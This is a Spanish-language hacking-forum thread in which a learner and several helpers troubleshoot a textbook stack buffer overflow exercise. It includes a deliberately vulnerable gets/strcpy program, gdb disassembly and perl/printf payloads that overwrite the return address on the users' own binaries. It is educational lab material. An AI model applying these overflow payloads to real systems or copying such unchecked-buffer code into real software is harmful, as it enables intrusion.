elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 10:21  


Tema destacado: Grupo de Facebook de elhacker.net

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Duda sobre buffer overflow
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: Duda sobre buffer overflow  (Leído 2,318 veces)
pianista
Colaborador
***
Desconectado Desconectado

Mensajes: 5.607


Hacking Wireless Live!


Ver Perfil WWW
Duda sobre buffer overflow
« en: 23 Diciembre 2011, 14:48 »

Hola qué tal?

A ver, tengo una duda que no me está permitiendo avanzar en este campo.

Empecé a leer el libro de shellcoders sobre exploits, entonces uno de los primeros ejemplos del libro es:

Código:
void return_input(void)
{
char array[30];

gets(array);
printf("%s\n",array);
}

main()
{
return_input();

return 0;
}


Vale, la idea es la siguiente:

Desensamblas con gdb la parte del main y obtienes la dirección a la que se invoca al return_input, con el fin de desbordar el buffer para que lo ejecute dos veces.

Aquí llega la cuestión, desesamblando me saca (por poner un ejemplo):

0x080483ed <main+3> call 0x80483c4 <return_input>

Y desbordo el buffer como indica el libro :
printf "AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDD\xed\x83\x04\x08"|./overflow

Ahí está la cuestión, que no logro de ninguna manera que no dé segmentation fault, y que me repita dos veces la llamada al return_input

Estoy usando wifislax 2.0, que aquellos kernel y gcc y tal, no llevaban protecciones overflow, pero claro, yo lo que pienso es lo siguiente:

Cómo coño va  afuncionar, esa dirección que saca el gdb, no tiene por qué coincidir con la que haya en tiempo de ejecución, no???

Saludos y espero ayuda, que me encantaría iniciarme en profundidad, aunque ya he visto que el tema en los últimos años, ha ido poniendo muchísimas protecciones.



« Última modificación: 23 Diciembre 2011, 14:55 por pianista » En línea
Sagrini

Desconectado Desconectado

Mensajes: 104

Visit las Vegas ;)


Ver Perfil WWW
Re: Duda sobre buffer overflow
« Respuesta #1 en: 23 Diciembre 2011, 16:08 »

Tal vez la dirección no esté bien sobreescrita, no sea la correcta... :P Ponnos la salida de GDB.
En línea

Un saludo. Sagrini
pianista
Colaborador
***
Desconectado Desconectado

Mensajes: 5.607


Hacking Wireless Live!


Ver Perfil WWW
Re: Duda sobre buffer overflow
« Respuesta #2 en: 23 Diciembre 2011, 16:26 »

Muy bien, esta es la salida del gdb:

Código:
Dump of assembler code for funcion main:
0x080483d2 <main+0>: push %ebp
0x080483d3 <main+1>: mov %esp,%ebp
0x080483d5 <main+3>: call 0x80483b4 <return_inpu>
0x080483da <main+8>: mov $0x0,%eax
0x080483df <main+13>: pop%ebp
0x080483e0 <main+14>: ret

Entiendo que habría que lograr escribir la dirección 0x080483d5 que es donde se hace la invocación a return_input y para ello emplearía :
\xd5\x83\x04\x08

Saludos
En línea
Sagrini

Desconectado Desconectado

Mensajes: 104

Visit las Vegas ;)


Ver Perfil WWW
Re: Duda sobre buffer overflow
« Respuesta #3 en: 23 Diciembre 2011, 16:27 »

TODA la salida de GDB. Incluye el resultado cuando corres el programa desde GDB.
En línea

Un saludo. Sagrini
Ivanchuk


Desconectado Desconectado

Mensajes: 466


LLVM


Ver Perfil WWW
Re: Duda sobre buffer overflow
« Respuesta #4 en: 23 Diciembre 2011, 16:51 »

Cómo coño va  afuncionar, esa dirección que saca el gdb, no tiene por qué coincidir con la que haya en tiempo de ejecución, no???

Si, esa direccion es la misma, esta en duro en la cabecera del ejecutable. Lo que te puede cambiar es la dir de la pila.

Código
readelf -S a.out | grep .text

Muy bien, esta es la salida del gdb:

Código:
Dump of assembler code for funcion main:
0x080483d2 <main+0>: push %ebp
0x080483d3 <main+1>: mov %esp,%ebp
0x080483d5 <main+3>: call 0x80483b4 <return_inpu>
0x080483da <main+8>: mov $0x0,%eax
0x080483df <main+13>: pop%ebp
0x080483e0 <main+14>: ret

Entiendo que habría que lograr escribir la dirección 0x080483d5 que es donde se hace la invocación a return_input y para ello emplearía :
\xd5\x83\x04\x08

Tenes que poner la dir justo despues del call, la 0x080483da.

Saludos !
En línea

Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org
Sagrini

Desconectado Desconectado

Mensajes: 104

Visit las Vegas ;)


Ver Perfil WWW
Re: Duda sobre buffer overflow
« Respuesta #5 en: 23 Diciembre 2011, 16:56 »

Un último detalle sería decir que para comprobar si funciona correctamente, sería mejor declarar una función que no se llamase en el programa, y hacer que se ejecute con el retorno. P. ej:
1. Dirección de func_oculta () = 0x08005f32
2. Ret-Buff = 32
$ perl -e 'print "\x90"x32 . "\x32\x5f\x00\x08"'

Hey Iván! Que tal? ;)
En línea

Un saludo. Sagrini
pianista
Colaborador
***
Desconectado Desconectado

Mensajes: 5.607


Hacking Wireless Live!


Ver Perfil WWW
Re: Duda sobre buffer overflow
« Respuesta #6 en: 23 Diciembre 2011, 16:57 »

Pero me refiero:

La dirección que escoge el compilador, es una dirección que al final en memoria no va a ser esa, si no que va a ser totalmente diferente, dependerá de la memoria libre etc etc etc.

Mi duda es, puesto que el SO al final abstrae la memoria para el programa de manera que el cree que tiene toda la memoria del mundo, aunque en realidad tenga sus cachitos en cada cacho de memoria y no se corresponda con sus direcciones, al final las direcciones del compilador son las que usa en esa memoria virtual???

Respecto a lo de ejecutarlo es algo que te iba a preguntar, yo lo ejecuto a pelo, pero a lo mejor es que debería ejecutarlo en el gdb xD

Código:
printf "AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDD\xed\x83\x04\x08"|./overflow
Sale:
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDí
Segmentation fault

Saludos y gracias!

Advertencia - mientras estabas escribiendo, una nueva respuesta fue publicada. Probablemente desees abandonar este campo y ir a cultivar campos de arroz

Lo de meter otra función lo probaré también.
En línea
Sagrini

Desconectado Desconectado

Mensajes: 104

Visit las Vegas ;)


Ver Perfil WWW
Re: Duda sobre buffer overflow
« Respuesta #7 en: 23 Diciembre 2011, 17:12 »

Eso es que no has sobreescrito la dirección correcta. Corre desde GDB y mira el error que te da ;)
$ gdb -q code
(gdb) r $(perl -e 'print "..."')
...
(gdb)
Ponme la salida ;)
En línea

Un saludo. Sagrini
Ivanchuk


Desconectado Desconectado

Mensajes: 466


LLVM


Ver Perfil WWW
Re: Duda sobre buffer overflow
« Respuesta #8 en: 23 Diciembre 2011, 18:48 »

Un último detalle sería decir que para comprobar si funciona correctamente, sería mejor declarar una función que no se llamase en el programa, y hacer que se ejecute con el retorno. P. ej:
1. Dirección de func_oculta () = 0x08005f32
2. Ret-Buff = 32
$ perl -e 'print "\x90"x32 . "\x32\x5f\x00\x08"'

Hey Iván! Que tal? ;)
Es una buena idea. Sagrini is back ! todo bien , vos?
Pero me refiero:

La dirección que escoge el compilador, es una dirección que al final en memoria no va a ser esa, si no que va a ser totalmente diferente, dependerá de la memoria libre etc etc etc.

Mi duda es, puesto que el SO al final abstrae la memoria para el programa de manera que el cree que tiene toda la memoria del mundo, aunque en realidad tenga sus cachitos en cada cacho de memoria y no se corresponda con sus direcciones, al final las direcciones del compilador son las que usa en esa memoria virtual???

Al final lo unico que ves son las virtuales. Tendrias que correrlo en gdb y depurarlo con si para ver bien a donde vas a parar y si  sobreescribis bien el ret.
En línea

Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org
pianista
Colaborador
***
Desconectado Desconectado

Mensajes: 5.607


Hacking Wireless Live!


Ver Perfil WWW
Re: Duda sobre buffer overflow
« Respuesta #9 en: 25 Diciembre 2011, 16:20 »



Aquí os lo dejo la salida entera usando perl.

Ummm no creo que haya que usar la siguiente dirección, puesto que yo lo que quiero, es invocar dos veces a la misma función como indica el libro.

Gracias por vuestra ayuda, me está costando, pero es muy interesante el tema y más después de haber programado tanto en C hace años.

Saludos
En línea
buscador-tecnologico

Desconectado Desconectado

Mensajes: 13


Ver Perfil
Re: Duda sobre buffer overflow
« Respuesta #10 en: 25 Diciembre 2011, 19:42 »

ostias, y ese libro? parece interesante,no? el titulo del libro es: shellcoders sobre exploits? de que escritor?


100000 gracias y feliz navidad amigos!
En línea
Sagrini

Desconectado Desconectado

Mensajes: 104

Visit las Vegas ;)


Ver Perfil WWW
Re: Duda sobre buffer overflow
« Respuesta #11 en: 1 Enero 2012, 18:16 »

Ahora mismo estoy un poco liadillo, te paso una url que tal vez te sirva y en un ratillo me pongo ;)
http://foro.elhacker.net/bugs_y_exploits/first_bof_linux_attack_sagrini_2010_elhackernet_funciona-t317514.0.html
« Última modificación: 1 Enero 2012, 20:52 por Sagrini » En línea

Un saludo. Sagrini
pianista
Colaborador
***
Desconectado Desconectado

Mensajes: 5.607


Hacking Wireless Live!


Ver Perfil WWW
Re: Duda sobre buffer overflow
« Respuesta #12 en: 1 Enero 2012, 19:40 »

Muchas gracias  ;)

Te lo agradezco

Saludos
En línea
AlbertoBSD
Estudiante y
Colaborador
***
Desconectado Desconectado

Mensajes: 1.955


Anonymous & Paranoid


Ver Perfil WWW
Re: Duda sobre buffer overflow
« Respuesta #13 en: 1 Enero 2012, 20:13 »

Pianista muy buenos dias, y exito este año!

¿Que libro estas siguiendo?

La idea es la misma, sobreescribir la direccion de retorno con aquella que quieras que se ejecute, en este caso quieres que se ejecute 2 veces el printf dentro de la funcion return_input

Saludos.
En línea

Bien Super Divertido
@wifigdlmx
Sagrini

Desconectado Desconectado

Mensajes: 104

Visit las Vegas ;)


Ver Perfil WWW
Re: Duda sobre buffer overflow
« Respuesta #14 en: 1 Enero 2012, 23:03 »

Código
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
 
int vuln (char *buff)
{
   char buffer [36];
   strcpy (buffer, buff);
}
 
int main (int argc, char *argv [])
{
   vuln (argv [1]);
}
 
int feo ()
{
   printf ("Eres feo!!!");
   exit (0);
}
 
Código:
sagrini@pc11-1:~/Escritorio$ nano code.c
sagrini@pc11-1:~/Escritorio$ gcc -o code code.c --no-stack-protector
sagrini@pc11-1:~/Escritorio$ gdb -q code
(gdb) r $(perl -e 'print "A"x36 . "BBBB"x3')
Program received signal SIGSEGV, Segmentation fault.
0x08048408 in __do_global_dtors_aux ()
(gdb)
(gdb) x/x feo
0x8048489 <feo>: 0x83e58955
(gdb) x/x feo
0x8048489 <feo>: 0x83e58955
(gdb) r $(perl -e 'print "\x90"x36 . "\x89\x84\x04\x08"x5')
Eres feo!!!
(gdb) quit
sagrini@pc11-1:~/Escritorio$

Ahora modifico para que funcione con una shellcode ;)
« Última modificación: 1 Enero 2012, 23:06 por Sagrini » En línea

Un saludo. Sagrini
Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Artículo sobre Buffer Overflow en revista HxC
Bugs y Exploits
Gospel 0 560 Último mensaje 29 Agosto 2004, 07:23
por Gospel
Quitar Protecciones buffer overflow [duda]
Bugs y Exploits
pedrox@ 5 2,026 Último mensaje 5 Agosto 2009, 21:53
por pedrox@
Duda Buffer Overflow
Bugs y Exploits
BlackHKR 1 1,246 Último mensaje 14 Abril 2010, 23:32
por AlbertoBSD
Duda Buffer Overflow
Bugs y Exploits
R007h 2 1,216 Último mensaje 17 Mayo 2010, 00:52
por dark_hat
una duda acerca del buffer overflow.
Bugs y Exploits
black_flowers 10 1,500 Último mensaje 7 Abril 2011, 17:29
por black_flowers
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines